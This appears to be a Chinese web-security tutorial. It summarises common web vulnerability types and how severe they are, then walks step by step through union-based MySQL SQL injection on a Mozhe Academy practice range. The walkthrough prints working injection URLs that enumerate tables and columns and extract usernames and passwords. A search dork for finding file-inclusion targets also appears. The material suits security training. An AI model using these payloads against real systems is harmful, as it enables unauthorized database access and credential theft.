WEB漏洞-----SQL
壹.基础知识
前言
讲解各种WEB层面上的有哪些漏洞类型,具体漏洞的危害等级,以及简要的影响范围测试进行实例分析,思维导图中的漏洞也是我们将要学习到的各个知识点,其实针对漏洞的形成原理,如何发现,如何利用。
结构图
实际应用
CTF,SRC,红蓝对抗
简要说明以上漏洞危害情况
-
SQL注入
-
- 攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。
- 可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。
-
- 如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。
- 经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。
-
XSS
-
- 窃取管理员帐号或Cookie,入侵者可以冒充管理员的身份登录后台。使得入侵者具有恶意操纵后台数据的能力,包括读取、更改、添加、删除一些信息。
- 窃取用户的个人信息或者登录帐号,对网站的用户安全产生巨大的威胁。例如冒充用户身份进行各种操作
-
- 网站挂马。先将恶意攻击代码嵌入到Web应用程序之中。当用户浏览该挂马页面时,用户的计算机会被植入木马
- 发送广告或者垃圾信息。攻击者可以利用XSS漏洞植入广告,或者发送垃圾信息,严重影响到用户的正常使用
-
XXE
-
- 读取任意文件
- 执行系统命令
-
- 探测内网端口
- 攻击内网网站
-
文件上传
如果 Web应用程序存在上传漏洞 , 攻击者甚至可以将一个webshell直接上传到服务器上
-
文件包含(可能含有文件包含的漏洞:inurl:php?file=)
-
- web服务器的文件被外界浏览导致信息泄露
- 脚本被任意执行,可能会篡改网站、执行非法操作、攻击其他网站
-
文件读取
通过任意文件下载,可以下载服务器的任意文件,web业务的代码,服务器和系统的具体配置信息,也可以下载数据库的配置信息,以及对内网的信息探测等等
-
CSRF(用户请求伪造)
-
- 以受害者名义发送邮件,发消息,盗取受害者的账号,甚至购买商品,虚拟货币转账,修改受害者的网络配置(比如修改路由器DNS、重置路由器密码)等等
- 个人隐私泄露、机密资料泄露、用户甚至企业的财产安全
-
SSRF (服务器端请求伪造)
-
- 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner 信息
- 攻击运行在内网或本地的应用程序
-
- 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)
- 下载内网资源(如:利用file协议读取本地文件等)
-
- 进行跳板
- 无视cdn
-
- 利用Redis未授权访问,HTTP CRLF注入实现getshell
-
反序列化
远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码,被攻击者间接控制服务器
-
代码执行
-
- 代码执行漏洞造成的原理是由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。造成代码执行相关的函数分别是:eval、assert函数
- 暴露服务器信息
-
- 木马植入
- 敏感文件暴露
-
- 可能升级为命令执行
-
逻辑漏洞
-
- 在提交订单的时候抓取数据包或者直接修改前端代码,然后对订单的金额任意修改。
- 黑客只需要抓取Response数据包便知道验证码是多少或直接绕过
-
- 有些业务的接口,因为缺少了对用户的登陆凭证的较验或者是验证存在缺陷,导致黑客可以未经授权访问这些敏感信息甚至是越权操作
- 有些关键性的接口因为没有做验证或者其它预防机制,容易遭到枚举攻击
-
- Cookie的效验值过于简单。有些web对于cookie的生成过于单一或者简单,导致黑客可以对cookie的效验值进行一个枚举
- 单纯读取内存值数据来当作用户凭证
-
- 用户修改密码时,邮箱中会收到一个含有auth的链接,在有效期内用户点击链接,即可进入重置密码环节。而大部分网站对于auth的生成都是采用rand()函数,那么这里就存在一个问题了,Windows环境下rand()最大值为32768,所以这个auth的值是可以被枚举的
-
未授权访问
敏感信息泄露
-
命令执行
-
- 继承Web服务程序的权限去执行系统命令或读写文件
- 反弹shell
-
- 控制整个网站甚至控制服务器
- 进一步内网渗透
-
目录遍历
攻击者通过访问网站某一目录时,该目录没有默认首页文件或没有正确设置默认首页文件,将会把整个目录结构列出来,将网站结构完全暴露给攻击者; 攻击者可能通过浏览目录结构,访问到某些隐秘文件(如PHPINFO文件、服务器探针文件、网站管理员后台访问地址、数据库连接文件等)
简要说明以上漏洞等级划分
漏洞危害决定漏洞等级:
高危漏洞:SQL注入、文件上传、文件包含、代码执行、未授权访问、命令执行
影响:直接影响到网站权限和数据库权限,能够获取数据或者网站的敏感文件。涉及到数据安全和权限的丢失都为高危漏洞
中危漏洞:反序列化、逻辑安全
低危漏洞:XSS跨站、目录遍历、文件读取
影响:网站的源码,网站部分账号密码
简要说明以上漏洞重点内容
CTF:SQL注入、文件上传、反序列化、代码执行
SRC:图片上漏洞都能出现,逻辑安全出现比较多
红蓝对抗:涉及的高危漏洞,文件上传、文件包含、代码执行、命令执行
简要说明以上漏洞形势问题
找不到漏洞是因为:信息收集没做好,自己对漏洞的理解不够
贰.简要SQL注入–MySQL
前言
sql注入针对程序员编写时的疏忽,通过sql语句,进行数据库中数据的查询
SQL注入的分类
1.从注入手法分类可以分为:联合查询注入、报错型注入、布尔型注入、延时注入、堆叠注入
2.从数据类型上可以分为:字符型(即输入的输入使用符号进行过滤)、数值型(即输入的输入未使用符号进行过滤)
3.从注入位置可以分类为:GET数据(提交数据方式为GET,大多存在地址栏)、POST数据(提交数据方式为POST,大多存在输入框中)、HTTP头部(提交数据方式为HTTP头部)、cookie数据(提交数据方式为cookie)
SQL注入的危害
分为两类:危害数据库里的数据、直接危害到网站的权限(需要满足条件)
1.数据库信息泄露
2.网页篡改:登陆后台后发布恶意内容
3.网站挂马 : 当拿到webshell时或者获取到服务器的权限以后,可将一些网页木马挂在服务器上,去攻击别人
4.私自添加系统账号
5.读写文件获取webshell
MySQL数据库结构
数据库A=网站A=数据库用户A
表名
列名
数据
数据库B=网站B=数据库用户B
。。。。。。
必要知识
1.在MySQL5.0及以上版本中自带了一个数据库名为information_schema的数据库,它是一个存储有所有数据库名,表名,列名的数据库。
2.数据库中“.”表示下一级。
3.常用参数
information_schema.tables:记录所有数据库表名的表
information_schema.columns:记录所有数据库列名的表
table_name:表名
column_name:列明
table_schema:数据库名
user():查看当前数据库登陆的用户名
database():查看当前数据库名
version():查看当前数据库版本
order by 判断字段数
如何判断注入点
老方法:
例子:
SELECT * FROM users WHERE id=1 and 1=1 正常
SELECT * FROM users WHERE id=1 and 1=2 错误
表示id存在注入点,因为它表示and后面的语句被带入了sql语句
新方法:
SELECT * FROM users WHERE id=1asad(随便输入) 报错 且没有出现页面跳转到首页
也表示id存在注入,原理同上。
题目
1.可能存在注入的有哪些?
www.xiaodi8.com/index.php?id=8
www.xiaodi8.com/?id=10
www.xiaodi8.com/?id=10&x=1
www.xiaodi8.com/index.php(post注入)
以上四个都可能存在注入
2.参数x存在注入,一下哪个注入则是正确
A.www.xiaodi8.com/new/php?y=1 and 1=1&x=2
B.www.xiaodi8.com/new/php?y=1&x=2 and 1=1
√
C.www.xiaodi8.com/new/php?y=1 and 1=1 & x=2 and 1=1
√
D.www.xiaodi8.com/new/php?xx=1 and 1=1&xxx=2 and 1=1
3.如果参数id存在注入,参数位置可以互换,使用注入工具时要注意
http://www/cnhgs.net/main.php?id53(注入点) and 1=2 &page=1
可惜写成
http://www/cnhgs.net/main.php?page=1&id53(注入点) and 1=2
SQL注入利用
演示,通过演示来说明步骤(墨者学院靶场)
1.打开网站,判断注入点
可以判断出id存在注入
2.判断字段数
因为union联合查询字段数必须保持一样,否则会报错
可以判断处字段数为4
3.联合查询
报错准备
可看到在2,3有输出,则在后续信息收集中更改2,3字段
4.查看当前数据库名,数据库版本,数据库用户,操作系统
数据库版本:version() 5.7.22-0ubuntu0.16.04.1
数据库名字:database() mozhe_Discuz_StormGroup
数据库用户:user() root@localhost
操作系统:@@version_compile_os Linux
5.查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:
http://219.153.49.228:45517/new_list.php?id=-1 union select 1,2,table_name,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
http://219.153.49.228:45517/new_list.php?id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
比上面多了一个group_concat()函数,如果本来一行只能显示一个信息,加上这个函数后会显示完所有信息
由此可见,该数据库下有两个表
StormGroup_member ,notice
6.查询StormGroup_member表下的列名
http://219.153.49.228:45517/new_list.php?id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='StormGroup_member'
7.查询相关信息
http://219.153.49.228:45517/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1
limit 1,1是限制查询结果返会的数量
用法:【select * from tableName limit i,n 】
- tableName : 为数据表;
- i : 为查询结果的索引值(默认从0开始);
- n : 为查询结果返回的数量